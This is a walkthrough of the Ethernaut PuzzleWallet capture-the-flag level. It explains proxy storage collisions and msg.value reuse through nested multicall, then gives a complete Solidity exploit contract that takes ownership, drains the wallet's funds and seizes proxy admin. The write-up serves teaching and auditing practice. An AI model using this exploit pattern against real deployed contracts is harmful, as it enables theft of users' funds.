Ethernaut's PuzzleWallet (level 24, as of Jul 2022) is one of the most challenging and interesting levels I found on Ethernaut.

The staged exploit needed to crack this level is bound to make any smart contract developer want to become a smart contract auditor! It's thrilling!

Foreword

Designing an exploit for this level is really simple and easy, but, the devil is knowing the concepts behind the vulnerabilities and chaining them for the attack.

This walkthrough would first describe the concepts you need for this level, then proceed to walk you through my solution.

Concepts needed

Storage locations

Ever wondered how smart contracts really store data? Every smart contract has an address in the State trie, that in turn contains a pointer to a location in the Storage trie that sequentially stores a contract's declared variables.

Sequence of variables

Storage on smart contracts is arranged in sequential 32 byte (256 bit) slots. To visualise this, imagine shipping containers of equal size placed in a single line.

Storage variables declared in a smart contract occupy these slots in the order of their declaration. For example, if a contract has 2 declared storage variables -

uint256 varA = 0xA; // slot 0
uint256 varB = 0xB; // slot 1

What this actually means is that 0xA is stored at storage slot #0, and 0xB is stored at storage slot #1.

Packing

There's an opportunity of optimising storage. Think about it. In the previous example, what if we were storing addresses in place of 32 byte unsigned integers? It would take only 20 bytes, not 32. So, what happens to the remaining space?

What solidity does, is that after it fills in the first variable's value in the first slot, it checks whether the second variable's value can COMPLETELY fit in the remaining space. If yes, it does that, and moves on to the next variable. If not, it moves on to the next storage slot and attempts to store it there. This continues for all variables.

Take this as an example:

address varA; // slot 0
uint32 varB; // slot 0
uint32 varC; // slot 0
uint32 varD; // slot 0

They would all occupy the same storage slot, because they can perfectly fit in 32 bytes.

Let's take another example:

address someAddr; // slot 0
uint32 varA; // slot 0
address anotherAddr; // slot 1
uint32 varB; // slot 1

This time, the first slot would only be occupied by someAddr and varA, because the next variable, anotherAddr, is too big to fit in the remaining space.

DelegateCall

You must be knowing that smart contracts can communicate with each other, i.e, call each other's exposed functions. However, when a contract calls another contract's functions, the execution context changes to the called contract, meaning, you cannot, say, access storage variables or functions defined in the calling contract.

On-chain storage is very expensive. Wouldn't it be smart if we could deploy reusable code once on chain, then access it through other contracts, instead of deploying contracts with the same code?

This would require us to call the reusable code in such a way that it behaves as if it was present in the calling contract itself, meaning, we can now access the storage of the calling contract while reusing code on chain.

This is where delegatecall comes in.

delegatecall is used for the Delegate pattern to achieve exactly this. It is used to call a function on an already deployed contract, simulating as if that function was present on the calling contract itself.

Since this is supposed to keep the execution context the same as the calling contract, most global variables, like msg.sender, msg.value remains the same when the called function gets executed.

In addition to this, accessing/modifying nth storage slot in the called function actually accesses/modifies nth slot in the calling contract.

A consequence of this is, it might cause unintended storage collisions between the calling contract and the called contract. Here's an example:

// ContractA.sol

address constant owner = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
address contractB = 0xBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB;

function getPayout(uint256 _salary) external returns (uint256){
    (bool success, bytes memory data) = contractB.delegatecall(abi.encodeWithSignature(
        "addBonus(uint256)",
        _salary
    ));
  uint256 payout = abi.decode(data, (uint256));
  return payout;
}

// ContractB.sol

uint256 constant bonusFixed = 1000;

function addBonus(uint256 _salary) external view returns (uint256) {
    return (_salary + bonusFixed);
}

If you pass a salary of 10,000 to getPayout() of contract A, you might think you would get 11,000 as the returned value. Well nope! You would get the result of 10000 + 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF.

Why? Because addBonus() in contract B tried accessing bonusFixed (at storage slot #0), which actually referred to owner in contract B (also stored in slot #0).

msg.value

msg.value is a global variable that stores the value that was sent along the transaction by the caller.

One interesting property of this value is that it does not reflect the consumption of this value in a payable function. For example, if a payable function accessed this value, it wouldn't show up as 0, although the value got added to the contract's funds before the function execution started.

This value remains the same throughout a transaction, including when delegatecalls are used.

ERC1967 Proxy pattern

Blockchain is basically an immutable storage. Contracts, once deployed, cannot be edited. What it means, is that if you ever find bugs in your code after you deploy your contract, or need to add/edit some functionality, you can't do that!

You might deploy a new contract, yes, but you'd then need to tell people about the new address, and migrate all funds and data from the old contract to the new one. That's tedious, and most people would actually lose their trust in your project.

You can use delegatecall to be clever and work around this.

Imagine a fixed smart contract that just delegates calls to another smart contract which actually stores the logic. The fixed contract just stores the address of the logic contract in a mutable variable.

What this would do, is allow people to keep accessing your smart contract at a fixed address, while allowing you to deploy a newer version of your code in a new smart contract, and just change the logic contract's address in the fixed contract, to delegate calls to the newer code now.

The 'fixed' contract is called a 'Proxy contract', whereas the 'logic' contract is called an 'Implementation contract'. The proxy just delegates all calls to the implementation contract, simulating as if the caller called the implementation contract directly.

There are many patterns to implement a Proxy. In this level, they used an "UpgradeableProxy", which would be named as "ERC1967Proxy" in the next Openzeppelin contracts' release.

What it does, is provide functionality to delegate calls to an implementation contract of your choice. A reference to this implementation contract (its address) is stored in the proxy contract at a far-away explicitly predefined slot (to prevent storage clashes with #0, #1,...). You also get functionalities to 'upgrade' the implementation, meaning, point it to a newer version of the implementation contract.

Auditing

Let's walk through the challenge description first.

The objective is simple - we need to become the admin of the Proxy.

Let's walk through the code now, try to see if we find vulnerabilities to chain and send our attack.

Something we see right off the bat is that the Proxy and the implementation contract has unintended storage clashes - pendingAdmin and admin in the proxy occupy the same slots as owner and maxBalance in the implementation contract respectively.

Storage slot #0 clash

In the proxy contract, we see that this function allows unauthenticated change of the pendingAdmin, and thus, owner when delegating calls to the implementation.

function proposeNewAdmin(address _newAdmin) external {
    pendingAdmin = _newAdmin;
}

Storage slot #1 clash

Now, let's turn our attention to the implementation. We know that overwriting the maxBalance would change admin when accessed via the proxy directly. And, we see a function for doing exactly that:

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
    require(address(this).balance == 0, "Contract balance is not 0");
    maxBalance = _maxBalance;
}

But, to do this, two conditions need to be satisfied:

1. The caller must be whitelisted
2. The contract must have 0 funds (which it won't when you deploy an instance)

For the first one, we see that we have a function that we can use to whitelist anyone, but, only the owner can execute it. But we can become the owner, can we not? We planned this in the last section.

function addToWhitelist(address addr) external {
    require(msg.sender == owner, "Not the owner");
    whitelisted[addr] = true;
}

For the second one, we need to somehow drain out the funds in the contract. Hmm...

Using msg.value naively

There's a function there that seems to allow us to make arbitrary calls with whatever value we had previously made deposits against our address:

function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
    require(balances[msg.sender] >= value, "Insufficient balance");
    balances[msg.sender] = balances[msg.sender].sub(value);
    (bool success, ) = to.call{value: value}(data);
    require(success, "Execution failed");
}

And, the deposits are to be made via this function:

function deposit() external payable onlyWhitelisted {
    require(address(this).balance <= maxBalance, "Max balance reached");
    balances[msg.sender] = balances[msg.sender].add(msg.value);
}

The logic is simple: Whenever you make a deposit, the real value you provide gets added to the contract's funds and gets recorded against your address in a mapping. You can only execute transactions later with this value recorded, and no more.

Seems flawless. Every deposit() call adds a single amount to your balance. There's no mismatch between what you provide and what gets recorded...

...until, you see the next function that allows you to run a multicall:

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
    bool depositCalled = false;
    for (uint256 i = 0; i < data.length; i++) {
        bytes memory _data = data[i];
        bytes4 selector;
        assembly {
            selector := mload(add(_data, 32))
        }
        if (selector == this.deposit.selector) {
            require(!depositCalled, "Deposit can only be called once");
            // Protect against reusing msg.value
            depositCalled = true;
        }
        (bool success, ) = address(this).delegatecall(data[i]);
        require(success, "Error while delegating call");
    }
}

What it allows you to do is to provide an array of data that will then get sequentially, individually executed via a delegatecall to itself (the same contract).

Recall that msg.value remains same throughout a transaction, even with delegatecalls. What if we just chain multiple deposit() calls with the array?

The same msg.value would ensure that, say, by depositing 0.001 ETH and running the deposit() function 10 times, we would cause an incorrect recording of 0.01 ETH against our address, thus breaking the logic.

However, the function protects against this, by checking if the data we provide are calls to deposit(), using a simple selector matching. Thus, we cannot call deposit() directly more than once, because calling it once sets depositCalled to true, which prevents a second deposit() invocation.

But, what if...we call multicall() n times from one main call of multicall(), each of the sub-call calling deposit() once? Each sub-call would then use a different stack, and thus, have have a different depositCalled variable, but they would still be using the same msg.value!

This will totally work!

We would then proceed to call execute(), providing such a value that drains out all funds. We can do this now, because we have control over what gets recorded against our deposits, meaning, we can totally become Elon Musk in the eyes of the implementation contract.

Finally, we would change the maxBalance, set it to the same as the uint256 form of our address, and et voila, we would become the proxy admin.

Hacking

Let's chain all the above vulnerabilities we discovered to chain our attack.

1. Become implementation contract's owner by invoking proposeNewAdmin() on the proxy.
2. Whitelist ourselves on the implementation contract by invoking addToWhitelist() on the implementation.
3. Make false deposits against our address, larger than the actual value we are willing to send for the hack. The deposit amount must be such that it should allow withdrawing both our actual deposit AND the contract's previous entire balance.
4. Drain out all funds from the contract with execute().
5. Set ourselves as the new admin on the proxy by setting maxBalance via setMaxBalance().

For step 3, what I did is simple:

Get target contract's balance, send (1/n)th of it as value and cause a false recording for a total of n times. This is to provide a very less value while still stealing all funds!

This is my code for this:

/**
@dev Must be sent with the correct value. Use the helper function above to pre-calculate this.
@param _puzzleWalletProxyAddr Address of the proxy contract
@param _fractionOfBalanceToSend Fraction of the proxy contract's balance to use for the hack
 */
function hack(address _puzzleWalletProxyAddr, uint256 _fractionOfBalanceToSend)
    external
    payable
{
    // Init
    PuzzleProxy proxy = PuzzleProxy(payable(_puzzleWalletProxyAddr));
    PuzzleWallet wallet = PuzzleWallet(payable(_puzzleWalletProxyAddr));

    // 1. Make this contract the wallet owner
    proxy.proposeNewAdmin(address(this));

    // 2. Whitelist this contract in wallet
    wallet.addToWhitelist(address(this));

    // 3. False deposit against this contract's address
    bytes[] memory dataToSendStage2Individual = new bytes[](1);
    dataToSendStage2Individual[0] = abi.encodeWithSignature("deposit()");

    bytes memory dataToSendStage1Individual = abi.encodeWithSignature(
        "multicall(bytes[])",
        dataToSendStage2Individual
    );

    uint256 balanceToDeposit = _puzzleWalletProxyAddr.balance /
        _fractionOfBalanceToSend;
    require(msg.value == balanceToDeposit, "NEEDS CORRECT VALUE");

    bytes[] memory dataToSend = new bytes[](_fractionOfBalanceToSend + 1);
    for (uint256 i = 0; i < (_fractionOfBalanceToSend + 1); i++) {
        dataToSend[i] = dataToSendStage1Individual;
    }
    wallet.multicall{value: balanceToDeposit}(dataToSend);

    // 4. Drain out Puzzle Wallet
    wallet.execute(
        msg.sender,
        balanceToDeposit * (_fractionOfBalanceToSend + 1),
        ""
    );

    // 5. Make caller as Proxy admin
    wallet.setMaxBalance(uint256(msg.sender));
}

Try running this in Remix IDE or your local machine to see this in action! For my complete hack contract (includes some helper methods), see this:

Takeaways

It's 10 PM here now, so I'll be lazy and just paste what Ethernaut says after you solve the challenge:

Frequently, using proxy contracts is highly recommended to bring upgradeability features and reduce the deployment's gas cost. However, developers must be careful not to introduce storage collisions, as seen in this level.

Furthermore, iterating over operations that consume ETH can lead to issues if it is not handled correctly. Even if ETH is spent, msg.value will remain the same, so the developer must manually keep track of the actual remaining amount on each iteration. This can also lead to issues when using a multi-call pattern, as performing multiple delegatecalls to a function that looks safe on its own could lead to unwanted transfers of ETH, as delegatecalls keep the original msg.value sent to the contract.

See you in my next article! 👋